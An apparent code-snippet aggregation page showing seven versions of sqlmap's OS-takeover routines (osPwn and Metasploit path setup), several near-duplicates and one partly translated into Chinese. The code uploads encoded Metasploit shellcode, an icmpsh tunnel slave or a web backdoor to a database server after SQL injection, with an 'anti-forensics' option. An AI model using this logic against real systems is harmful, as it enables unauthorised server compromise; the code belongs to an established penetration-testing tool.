示例#1
0
    def osPwn(self):
        goUdf = False

        self.checkDbmsOs()

        if Backend.isOs(OS.WINDOWS):
            msg = "how do you want to establish the tunnel?"
            msg += "\n[1] TCP: Metasploit Framework (default)"
            msg += "\n[2] ICMP: icmpsh - ICMP tunneling"
            valids = ( 1, 2 )

            while True:
                tunnel = readInput(msg, default=1)

                if isinstance(tunnel, basestring) and tunnel.isdigit() and int(tunnel) in valids:
                    tunnel = int(tunnel)
                    break

                elif isinstance(tunnel, int) and tunnel in valids:
                    break

                else:
                    warnMsg = "invalid value, valid values are 1 and 2"
                    logger.warn(warnMsg)
        else:
            tunnel = 1

            debugMsg = "the tunnel can be established only via TCP when "
            debugMsg += "the back-end DBMS is not Windows"
            logger.debug(debugMsg)

        if tunnel == 2:
            isAdmin = runningAsAdmin()

            if not isAdmin:
                errMsg = "you need to run sqlmap as an administrator "
                errMsg += "if you want to establish an out-of-band ICMP "
                errMsg += "tunnel because icmpsh uses raw sockets to "
                errMsg += "sniff and craft ICMP packets"
                raise SqlmapMissingPrivileges(errMsg)

            try:
                from impacket import ImpactDecoder
                from impacket import ImpactPacket
            except ImportError:
                errMsg = "sqlmap requires 'python-impacket' third-party library "
                errMsg += "in order to run icmpsh master. You can get it at "
                errMsg += "http://code.google.com/p/impacket/downloads/list"
                raise SqlmapMissingDependence(errMsg)

            sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all"

            if os.path.exists(sysIgnoreIcmp):
                fp = open(sysIgnoreIcmp, "wb")
                fp.write("1")
                fp.close()
            else:
                errMsg = "you need to disable ICMP replies by your machine "
                errMsg += "system-wide. For example run on Linux/Unix:\n"
                errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n"
                errMsg += "If you miss doing that, you will receive "
                errMsg += "information from the database server and it "
                errMsg += "is unlikely to receive commands sent from you"
                logger.error(errMsg)

            if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
                self.sysUdfs.pop("sys_bineval")

        if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) or conf.direct:
            web = False

            self.getRemoteTempPath()
            self.initEnv(web=web)

            if tunnel == 1:
                if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
                    msg = "how do you want to execute the Metasploit shellcode "
                    msg += "on the back-end database underlying operating system?"
                    msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
                    msg += "\n[2] Via shellcodeexec (file system way, preferred on 64-bit systems)"

                    while True:
                        choice = readInput(msg, default=1)

                        if isinstance(choice, basestring) and choice.isdigit() and int(choice) in ( 1, 2 ):
                            choice = int(choice)
                            break

                        elif isinstance(choice, int) and choice in ( 1, 2 ):
                            break

                        else:
                            warnMsg = "invalid value, valid values are 1 and 2"
                            logger.warn(warnMsg)

                    if choice == 1:
                        goUdf = True

                if goUdf:
                    exitfunc="thread"
                else:
                    exitfunc="process"

                self.createMsfShellcode(exitfunc=exitfunc, format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")

                if not goUdf:
                    self.uploadShellcodeexec()

                if Backend.isOs(OS.WINDOWS) and conf.privEsc:
                    if Backend.isDbms(DBMS.MYSQL):
                        debugMsg = "by default MySQL on Windows runs as SYSTEM "
                        debugMsg += "user, no need to privilege escalate"
                        logger.debug(debugMsg)
            elif tunnel == 2:
                self.uploadIcmpshSlave(web=web)
                self.icmpPwn()

        elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and Backend.isDbms(DBMS.MYSQL):
            web = True

            infoMsg = "going to use a web backdoor to establish the tunnel"
            logger.info(infoMsg)

            self.initEnv(web=web)

            if self.webBackdoorUrl:
                if not Backend.isOs(OS.WINDOWS) and conf.privEsc:
                    # Unset --priv-esc if the back-end DBMS underlying operating
                    # system is not Windows
                    conf.privEsc = False

                    warnMsg = "sqlmap does not implement any operating system "
                    warnMsg += "user privilege escalation technique when the "
                    warnMsg += "back-end DBMS underlying system is not Windows"
                    logger.warn(warnMsg)

                self.getRemoteTempPath()

                if tunnel == 1:
                    self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
                    self.uploadShellcodeexec(web=web)
                elif tunnel == 2:
                    self.uploadIcmpshSlave(web=web)
                    self.icmpPwn()
        else:
            errMsg = "unable to prompt for an out-of-band session because "
            errMsg += "stacked queries SQL injection is not supported"
            raise SqlmapNotVulnerableException(errMsg)

        if tunnel == 1:
            if not web or (web and self.webBackdoorUrl is not None):
                self.pwn(goUdf)

        if not conf.cleanup:
            self.cleanup(web=web)
示例#2
0
def __setMetasploit():
    if not conf.osPwn and not conf.osSmb and not conf.osBof:
        return

    debugMsg = "setting the takeover out-of-band functionality"
    logger.debug(debugMsg)

    msfEnvPathExists = False

    if IS_WIN:
        warnMsg  = "some sqlmap takeover functionalities are not yet "
        warnMsg += "supported on Windows. Please use Linux in a virtual "
        warnMsg += "machine for out-of-band features. sqlmap will now "
        warnMsg += "carry on ignoring out-of-band switches"
        logger.warn(warnMsg)

        conf.osPwn = None
        conf.osSmb = None
        conf.osBof = None

        return

    if conf.osSmb:
        isAdmin = runningAsAdmin()

        if isAdmin is not True:
            errMsg  = "you need to run sqlmap as an administrator "
            errMsg += "if you want to perform a SMB relay attack because "
            errMsg += "it will need to listen on a user-specified SMB "
            errMsg += "TCP port for incoming connection attempts"
            raise sqlmapMissingPrivileges, errMsg

    if conf.msfPath:
        condition  = os.path.exists(normalizePath(conf.msfPath))
        condition &= os.path.exists(normalizePath(os.path.join(conf.msfPath, "msfcli")))
        condition &= os.path.exists(normalizePath(os.path.join(conf.msfPath, "msfconsole")))
        condition &= os.path.exists(normalizePath(os.path.join(conf.msfPath, "msfencode")))
        condition &= os.path.exists(normalizePath(os.path.join(conf.msfPath, "msfpayload")))

        if condition:
            debugMsg  = "provided Metasploit Framework 3 path "
            debugMsg += "'%s' is valid" % conf.msfPath
            logger.debug(debugMsg)

            msfEnvPathExists = True
        else:
            warnMsg  = "the provided Metasploit Framework 3 path "
            warnMsg += "'%s' is not valid. The cause could " % conf.msfPath
            warnMsg += "be that the path does not exists or that one "
            warnMsg += "or more of the needed Metasploit executables "
            warnMsg += "within msfcli, msfconsole, msfencode and "
            warnMsg += "msfpayload do not exist"
            logger.warn(warnMsg)
    else:
        warnMsg  = "you did not provide the local path where Metasploit "
        warnMsg += "Framework 3 is installed"
        logger.warn(warnMsg)

    if not msfEnvPathExists:
        warnMsg  = "sqlmap is going to look for Metasploit Framework 3 "
        warnMsg += "installation into the environment paths"
        logger.warn(warnMsg)

        envPaths = os.environ["PATH"]

        if IS_WIN:
            envPaths = envPaths.split(";")
        else:
            envPaths = envPaths.split(":")

        for envPath in envPaths:
            envPath    = envPath.replace(";", "")
            condition  = os.path.exists(normalizePath(envPath))
            condition &= os.path.exists(normalizePath(os.path.join(envPath, "msfcli")))
            condition &= os.path.exists(normalizePath(os.path.join(envPath, "msfconsole")))
            condition &= os.path.exists(normalizePath(os.path.join(envPath, "msfencode")))
            condition &= os.path.exists(normalizePath(os.path.join(envPath, "msfpayload")))

            if condition:
                infoMsg  = "Metasploit Framework 3 has been found "
                infoMsg += "installed in the '%s' path" % envPath
                logger.info(infoMsg)

                msfEnvPathExists = True
                conf.msfPath     = envPath

                break

    if not msfEnvPathExists:
        errMsg  = "unable to locate Metasploit Framework 3 installation. "
        errMsg += "Get it from http://metasploit.com/framework/download/"
        raise sqlmapFilePathException, errMsg
示例#3
0
    def osPwn(self):
        goUdf = False
        fallbackToWeb = False
        setupSuccess = False

        self.checkDbmsOs()

        if Backend.isOs(OS.WINDOWS):
            msg = "how do you want to establish the tunnel?"
            msg += "\n[1] TCP: Metasploit Framework (default)"
            msg += "\n[2] ICMP: icmpsh - ICMP tunneling"
            valids = (1, 2)

            while True:
                tunnel = readInput(msg, default=1)

                if isinstance(tunnel, basestring) and tunnel.isdigit() and int(
                        tunnel) in valids:
                    tunnel = int(tunnel)
                    break

                elif isinstance(tunnel, int) and tunnel in valids:
                    break

                else:
                    warnMsg = "invalid value, valid values are 1 and 2"
                    logger.warn(warnMsg)
        else:
            tunnel = 1

            debugMsg = "the tunnel can be established only via TCP when "
            debugMsg += "the back-end DBMS is not Windows"
            logger.debug(debugMsg)

        if tunnel == 2:
            isAdmin = runningAsAdmin()

            if not isAdmin:
                errMsg = "you need to run sqlmap as an administrator "
                errMsg += "if you want to establish an out-of-band ICMP "
                errMsg += "tunnel because icmpsh uses raw sockets to "
                errMsg += "sniff and craft ICMP packets"
                raise SqlmapMissingPrivileges(errMsg)

            try:
                from impacket import ImpactDecoder
                from impacket import ImpactPacket
            except ImportError:
                errMsg = "sqlmap requires 'python-impacket' third-party library "
                errMsg += "in order to run icmpsh master. You can get it at "
                errMsg += "http://code.google.com/p/impacket/downloads/list"
                raise SqlmapMissingDependence(errMsg)

            sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all"

            if os.path.exists(sysIgnoreIcmp):
                fp = open(sysIgnoreIcmp, "wb")
                fp.write("1")
                fp.close()
            else:
                errMsg = "you need to disable ICMP replies by your machine "
                errMsg += "system-wide. For example run on Linux/Unix:\n"
                errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n"
                errMsg += "If you miss doing that, you will receive "
                errMsg += "information from the database server and it "
                errMsg += "is unlikely to receive commands sent from you"
                logger.error(errMsg)

            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                self.sysUdfs.pop("sys_bineval")

        self.getRemoteTempPath()

        if isStackingAvailable() or conf.direct:
            web = False

            self.initEnv(web=web)

            if tunnel == 1:
                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    msg = "how do you want to execute the Metasploit shellcode "
                    msg += "on the back-end database underlying operating system?"
                    msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
                    msg += "\n[2] Via shellcodeexec (file system way, preferred on 64-bit systems)"

                    while True:
                        choice = readInput(msg, default=1)

                        if isinstance(choice, basestring) and choice.isdigit(
                        ) and int(choice) in (1, 2):
                            choice = int(choice)
                            break

                        elif isinstance(choice, int) and choice in (1, 2):
                            break

                        else:
                            warnMsg = "invalid value, valid values are 1 and 2"
                            logger.warn(warnMsg)

                    if choice == 1:
                        goUdf = True

                if goUdf:
                    exitfunc = "thread"
                    setupSuccess = True
                else:
                    exitfunc = "process"

                self.createMsfShellcode(exitfunc=exitfunc,
                                        format="raw",
                                        extra="BufferRegister=EAX",
                                        encode="x86/alpha_mixed")

                if not goUdf:
                    setupSuccess = self.uploadShellcodeexec(web=web)

                    if setupSuccess is not True:
                        if Backend.isDbms(DBMS.MYSQL):
                            fallbackToWeb = True
                        else:
                            msg = "unable to mount the operating system takeover"
                            raise SqlmapFilePathException(msg)

                if Backend.isOs(OS.WINDOWS) and Backend.isDbms(
                        DBMS.MYSQL) and conf.privEsc:
                    debugMsg = "by default MySQL on Windows runs as SYSTEM "
                    debugMsg += "user, no need to privilege escalate"
                    logger.debug(debugMsg)

            elif tunnel == 2:
                setupSuccess = self.uploadIcmpshSlave(web=web)

                if setupSuccess is not True:
                    if Backend.isDbms(DBMS.MYSQL):
                        fallbackToWeb = True
                    else:
                        msg = "unable to mount the operating system takeover"
                        raise SqlmapFilePathException(msg)

        if not setupSuccess and Backend.isDbms(
                DBMS.MYSQL) and not conf.direct and (not isStackingAvailable()
                                                     or fallbackToWeb):
            web = True

            if fallbackToWeb:
                infoMsg = "falling back to web backdoor to establish the tunnel"
            else:
                infoMsg = "going to use a web backdoor to establish the tunnel"
            logger.info(infoMsg)

            self.initEnv(web=web, forceInit=fallbackToWeb)

            if self.webBackdoorUrl:
                if not Backend.isOs(OS.WINDOWS) and conf.privEsc:
                    # Unset --priv-esc if the back-end DBMS underlying operating
                    # system is not Windows
                    conf.privEsc = False

                    warnMsg = "sqlmap does not implement any operating system "
                    warnMsg += "user privilege escalation technique when the "
                    warnMsg += "back-end DBMS underlying system is not Windows"
                    logger.warn(warnMsg)

                if tunnel == 1:
                    self.createMsfShellcode(exitfunc="process",
                                            format="raw",
                                            extra="BufferRegister=EAX",
                                            encode="x86/alpha_mixed")
                    setupSuccess = self.uploadShellcodeexec(web=web)

                    if setupSuccess is not True:
                        msg = "unable to mount the operating system takeover"
                        raise SqlmapFilePathException(msg)

                elif tunnel == 2:
                    setupSuccess = self.uploadIcmpshSlave(web=web)

                    if setupSuccess is not True:
                        msg = "unable to mount the operating system takeover"
                        raise SqlmapFilePathException(msg)

        if setupSuccess:
            if tunnel == 1:
                self.pwn(goUdf)
            elif tunnel == 2:
                self.icmpPwn()
        else:
            errMsg = "unable to prompt for an out-of-band session"
            raise SqlmapNotVulnerableException(errMsg)

        if not conf.cleanup:
            self.cleanup(web=web)
示例#4
0
文件: takeover.py 项目: zz110/sqlmap
    def osPwn(self):
        goUdf = False
        fallbackToWeb = False
        setupSuccess = False

        self.checkDbmsOs()

        if Backend.isOs(OS.WINDOWS):
            msg = "how do you want to establish the tunnel?"
            msg += "\n[1] TCP: Metasploit Framework (default)"
            msg += "\n[2] ICMP: icmpsh - ICMP tunneling"

            while True:
                tunnel = readInput(msg, default='1')

                if tunnel.isdigit() and int(tunnel) in (1, 2):
                    tunnel = int(tunnel)
                    break

                else:
                    warnMsg = "invalid value, valid values are '1' and '2'"
                    logger.warn(warnMsg)
        else:
            tunnel = 1

            debugMsg = "the tunnel can be established only via TCP when "
            debugMsg += "the back-end DBMS is not Windows"
            logger.debug(debugMsg)

        if tunnel == 2:
            isAdmin = runningAsAdmin()

            if not isAdmin:
                errMsg = "you need to run sqlmap as an administrator "
                errMsg += "if you want to establish an out-of-band ICMP "
                errMsg += "tunnel because icmpsh uses raw sockets to "
                errMsg += "sniff and craft ICMP packets"
                raise SqlmapMissingPrivileges(errMsg)

            try:
                __import__("impacket")
            except ImportError:
                errMsg = "sqlmap requires 'python-impacket' third-party library "
                errMsg += "in order to run icmpsh master. You can get it at "
                errMsg += "http://code.google.com/p/impacket/downloads/list"
                raise SqlmapMissingDependence(errMsg)

            filename = "/proc/sys/net/ipv4/icmp_echo_ignore_all"

            if os.path.exists(filename):
                try:
                    with open(filename, "wb") as f:
                        f.write("1")
                except IOError, ex:
                    errMsg = "there has been a file opening/writing error "
                    errMsg += "for filename '%s' ('%s')" % (
                        filename, getSafeExString(ex))
                    raise SqlmapSystemException(errMsg)
            else:
                errMsg = "you need to disable ICMP replies by your machine "
                errMsg += "system-wide. For example run on Linux/Unix:\n"
                errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n"
                errMsg += "If you miss doing that, you will receive "
                errMsg += "information from the database server and it "
                errMsg += "is unlikely to receive commands sent from you"
                logger.error(errMsg)

            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                self.sysUdfs.pop("sys_bineval")
示例#5
0
文件: takeover.py 项目: m4rm0k/sqlmap
    def osPwn(self):
        goUdf = False

        self.checkDbmsOs()

        if Backend.isOs(OS.WINDOWS):
            msg = "how do you want to establish the tunnel?"
            msg += "\n[1] TCP: Metasploit Framework (default)"
            msg += "\n[2] ICMP: icmpsh - ICMP tunneling"
            valids = ( 1, 2 )

            while True:
                tunnel = readInput(msg, default=1)

                if isinstance(tunnel, basestring) and tunnel.isdigit() and int(tunnel) in valids:
                    tunnel = int(tunnel)
                    break

                elif isinstance(tunnel, int) and tunnel in valids:
                    break

                else:
                    warnMsg = "invalid value, valid values are 1 and 2"
                    logger.warn(warnMsg)
        else:
            tunnel = 1

            debugMsg = "the tunnel can be established only via TCP when "
            debugMsg += "the back-end DBMS is not Windows"
            logger.debug(debugMsg)

        if tunnel == 2:
            isAdmin = runningAsAdmin()

            if not isAdmin:
                errMsg = "you need to run sqlmap as an administrator "
                errMsg += "if you want to establish an out-of-band ICMP "
                errMsg += "tunnel because icmpsh uses raw sockets to "
                errMsg += "sniff and craft ICMP packets"
                raise sqlmapMissingPrivileges, errMsg

            try:
                from impacket import ImpactDecoder
                from impacket import ImpactPacket
            except ImportError, _:
                errMsg = "sqlmap requires 'impacket' third-party library "
                errMsg += "in order to run icmpsh master. Download from "
                errMsg += "http://oss.coresecurity.com/projects/impacket.html"
                raise sqlmapMissingDependence, errMsg

            sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all"

            if os.path.exists(sysIgnoreIcmp):
                fp = open(sysIgnoreIcmp, "wb")
                fp.write("1")
                fp.close()
            else:
                errMsg = "you need to disable ICMP replies by your machine "
                errMsg += "system-wide. For example run on Linux/Unix:\n"
                errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n"
                errMsg += "If you miss doing that, you will receive "
                errMsg += "information from the database server and it "
                errMsg += "is unlikely to receive commands sent from you"
                logger.error(errMsg)

            if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
                self.sysUdfs.pop("sys_bineval")
示例#6
0
    def osPwn(self):
        goUdf = False
        fallbackToWeb = False
        setupSuccess = False

        self.checkDbmsOs()

        if Backend.isOs(OS.WINDOWS):
            msg = "how do you want to establish the tunnel?"
            msg += "\n[1] TCP: Metasploit Framework (default)"
            msg += "\n[2] ICMP: icmpsh - ICMP tunneling"

            while True:
                tunnel = readInput(msg, default='1')

                if tunnel.isdigit() and int(tunnel) in (1, 2):
                    tunnel = int(tunnel)
                    break

                else:
                    warnMsg = "invalid value, valid values are '1' and '2'"
                    logger.warn(warnMsg)
        else:
            tunnel = 1

            debugMsg = "the tunnel can be established only via TCP when "
            debugMsg += "the back-end DBMS is not Windows"
            logger.debug(debugMsg)

        if tunnel == 2:
            isAdmin = runningAsAdmin()

            if not isAdmin:
                errMsg = "you need to run sqlmap as an administrator "
                errMsg += "if you want to establish an out-of-band ICMP "
                errMsg += "tunnel because icmpsh uses raw sockets to "
                errMsg += "sniff and craft ICMP packets"
                raise SqlmapMissingPrivileges(errMsg)

            try:
                __import__("impacket")
            except ImportError:
                errMsg = "sqlmap requires 'python-impacket' third-party library "
                errMsg += "in order to run icmpsh master. You can get it at "
                errMsg += "http://code.google.com/p/impacket/downloads/list"
                raise SqlmapMissingDependence(errMsg)

            filename = "/proc/sys/net/ipv4/icmp_echo_ignore_all"

            if os.path.exists(filename):
                try:
                    with open(filename, "wb") as f:
                        f.write("1")
                except IOError as ex:
                    errMsg = "there has been a file opening/writing error "
                    errMsg += "for filename '%s' ('%s')" % (filename, getSafeExString(ex))
                    raise SqlmapSystemException(errMsg)
            else:
                errMsg = "you need to disable ICMP replies by your machine "
                errMsg += "system-wide. For example run on Linux/Unix:\n"
                errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n"
                errMsg += "If you miss doing that, you will receive "
                errMsg += "information from the database server and it "
                errMsg += "is unlikely to receive commands sent from you"
                logger.error(errMsg)

            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                self.sysUdfs.pop("sys_bineval")

        self.getRemoteTempPath()

        if isStackingAvailable() or conf.direct:
            web = False

            self.initEnv(web=web)

            if tunnel == 1:
                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    msg = "how do you want to execute the Metasploit shellcode "
                    msg += "on the back-end database underlying operating system?"
                    msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
                    msg += "\n[2] Via 'shellcodeexec' (file system way, preferred on 64-bit systems)"

                    while True:
                        choice = readInput(msg, default='1')

                        if choice.isdigit() and int(choice) in (1, 2):
                            choice = int(choice)
                            break

                        else:
                            warnMsg = "invalid value, valid values are '1' and '2'"
                            logger.warn(warnMsg)

                    if choice == 1:
                        goUdf = True

                if goUdf:
                    exitfunc = "thread"
                    setupSuccess = True
                else:
                    exitfunc = "process"

                self.createMsfShellcode(exitfunc=exitfunc, format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")

                if not goUdf:
                    setupSuccess = self.uploadShellcodeexec(web=web)

                    if setupSuccess is not True:
                        if Backend.isDbms(DBMS.MYSQL):
                            fallbackToWeb = True
                        else:
                            msg = "unable to mount the operating system takeover"
                            raise SqlmapFilePathException(msg)

                if Backend.isOs(OS.WINDOWS) and Backend.isDbms(DBMS.MYSQL) and conf.privEsc:
                    debugMsg = "by default MySQL on Windows runs as SYSTEM "
                    debugMsg += "user, no need to privilege escalate"
                    logger.debug(debugMsg)

            elif tunnel == 2:
                setupSuccess = self.uploadIcmpshSlave(web=web)

                if setupSuccess is not True:
                    if Backend.isDbms(DBMS.MYSQL):
                        fallbackToWeb = True
                    else:
                        msg = "unable to mount the operating system takeover"
                        raise SqlmapFilePathException(msg)

        if not setupSuccess and Backend.isDbms(DBMS.MYSQL) and not conf.direct and (not isStackingAvailable() or fallbackToWeb):
            web = True

            if fallbackToWeb:
                infoMsg = "falling back to web backdoor to establish the tunnel"
            else:
                infoMsg = "going to use a web backdoor to establish the tunnel"
            logger.info(infoMsg)

            self.initEnv(web=web, forceInit=fallbackToWeb)

            if self.webBackdoorUrl:
                if not Backend.isOs(OS.WINDOWS) and conf.privEsc:
                    # Unset --priv-esc if the back-end DBMS underlying operating
                    # system is not Windows
                    conf.privEsc = False

                    warnMsg = "sqlmap does not implement any operating system "
                    warnMsg += "user privilege escalation technique when the "
                    warnMsg += "back-end DBMS underlying system is not Windows"
                    logger.warn(warnMsg)

                if tunnel == 1:
                    self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
                    setupSuccess = self.uploadShellcodeexec(web=web)

                    if setupSuccess is not True:
                        msg = "unable to mount the operating system takeover"
                        raise SqlmapFilePathException(msg)

                elif tunnel == 2:
                    setupSuccess = self.uploadIcmpshSlave(web=web)

                    if setupSuccess is not True:
                        msg = "unable to mount the operating system takeover"
                        raise SqlmapFilePathException(msg)

        if setupSuccess:
            if tunnel == 1:
                self.pwn(goUdf)
            elif tunnel == 2:
                self.icmpPwn()
        else:
            errMsg = "unable to prompt for an out-of-band session"
            raise SqlmapNotVulnerableException(errMsg)

        if not conf.cleanup:
            self.cleanup(web=web)
示例#7
0
    def osPwn(self):
        goUdf = False
        fallbackToWeb = False
        setupSuccess = False

        self.checkDbmsOs()

        if Backend.isOs(OS.WINDOWS):
            msg = "你想如何建立隧道??"
            msg += "\n[1] TCP: Metasploit Framework (default)"
            msg += "\n[2] ICMP: icmpsh - ICMP tunneling"

            while True:
                tunnel = readInput(msg, default='1')

                if tunnel.isdigit() and int(tunnel) in (1, 2):
                    tunnel = int(tunnel)
                    break

                else:
                    warnMsg = "无效值,有效值为'1'和'2'"
                    logger.warn(warnMsg)
        else:
            tunnel = 1

            debugMsg = "当后端DBMS不是Windows时,隧道只能通过TCP建立"
            logger.debug(debugMsg)

        if tunnel == 2:
            isAdmin = runningAsAdmin()

            if not isAdmin:
                errMsg = "如果要建立带外ICMP隧道,则需要以管理员身份运行sqlmap,因为icmpsh使用原始套接字来嗅探和制作ICMP数据包"
                raise SqlmapMissingPrivileges(errMsg)

            try:
                from impacket import ImpactDecoder
                from impacket import ImpactPacket
            except ImportError:
                errMsg = "sqlmap需要“python-impacket”第三方库才能运行icmpsh master。"
                errMsg += "您可以访问http://code.google.com/p/impacket/downloads/list"
                raise SqlmapMissingDependence(errMsg)

            sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all"

            if os.path.exists(sysIgnoreIcmp):
                fp = open(sysIgnoreIcmp, "wb")
                fp.write("1")
                fp.close()
            else:
                errMsg = "您需要在整个系统范围内禁用ICMP回复 "
                errMsg += "例如在Linux/Unix上运行:\n"
                errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n"
                errMsg += "如果您错过了这么做,您将收到来自数据库服务器的信息,而不会收到您发送的命令的回应。"
                logger.error(errMsg)

            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                self.sysUdfs.pop("sys_bineval")

        self.getRemoteTempPath()

        if isStackingAvailable() or conf.direct:
            web = False

            self.initEnv(web=web)

            if tunnel == 1:
                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    msg = "您打算如何在底层操作系统的底层数据库上执行Metasploit shellcode?"
                    msg += "\n[1] 通过UDF 'sys_bineval' (内存方式,反取证,默认)"
                    msg += "\n[2] 通过shellcodeexec(文件系统方式,首选64位系统)"

                    while True:
                        choice = readInput(msg, default='1')

                        if choice.isdigit() and int(choice) in (1, 2):
                            choice = int(choice)
                            break

                        else:
                            warnMsg = "无效值,有效值为1和2"
                            logger.warn(warnMsg)

                    if choice == 1:
                        goUdf = True

                if goUdf:
                    exitfunc = "thread"
                    setupSuccess = True
                else:
                    exitfunc = "process"

                self.createMsfShellcode(exitfunc=exitfunc,
                                        format="raw",
                                        extra="BufferRegister=EAX",
                                        encode="x86/alpha_mixed")

                if not goUdf:
                    setupSuccess = self.uploadShellcodeexec(web=web)

                    if setupSuccess is not True:
                        if Backend.isDbms(DBMS.MYSQL):
                            fallbackToWeb = True
                        else:
                            msg = "无法挂载操作系统接管"
                            raise SqlmapFilePathException(msg)

                if Backend.isOs(OS.WINDOWS) and Backend.isDbms(
                        DBMS.MYSQL) and conf.privEsc:
                    debugMsg = "默认情况下,MySQL在Windows上运行为SYSTEM用户,不需要权限升级"
                    logger.debug(debugMsg)

            elif tunnel == 2:
                setupSuccess = self.uploadIcmpshSlave(web=web)

                if setupSuccess is not True:
                    if Backend.isDbms(DBMS.MYSQL):
                        fallbackToWeb = True
                    else:
                        msg = "无法挂载操作系统接管"
                        raise SqlmapFilePathException(msg)

        if not setupSuccess and Backend.isDbms(
                DBMS.MYSQL) and not conf.direct and (not isStackingAvailable()
                                                     or fallbackToWeb):
            web = True

            if fallbackToWeb:
                infoMsg = "falling back to web backdoor to establish the tunnel"
            else:
                infoMsg = "要使用web后门建立隧道"
            logger.info(infoMsg)

            self.initEnv(web=web, forceInit=fallbackToWeb)

            if self.webBackdoorUrl:
                if not Backend.isOs(OS.WINDOWS) and conf.privEsc:
                    #Unset --priv-esc如果后端DBMS底层操作系统不是Windows
                    conf.privEsc = False

                    warnMsg = "当后台DBMS底层系统不是Windows时,sqlmap不实现任何操作系统用户权限升级技术"
                    logger.warn(warnMsg)

                if tunnel == 1:
                    self.createMsfShellcode(exitfunc="process",
                                            format="raw",
                                            extra="BufferRegister=EAX",
                                            encode="x86/alpha_mixed")
                    setupSuccess = self.uploadShellcodeexec(web=web)

                    if setupSuccess is not True:
                        msg = "无法挂载操作系统接管"
                        raise SqlmapFilePathException(msg)

                elif tunnel == 2:
                    setupSuccess = self.uploadIcmpshSlave(web=web)

                    if setupSuccess is not True:
                        msg = "无法挂载操作系统接管"
                        raise SqlmapFilePathException(msg)

        if setupSuccess:
            if tunnel == 1:
                self.pwn(goUdf)
            elif tunnel == 2:
                self.icmpPwn()
        else:
            errMsg = "unable to prompt for an out-of-band session"
            raise SqlmapNotVulnerableException(errMsg)

        if not conf.cleanup:
            self.cleanup(web=web)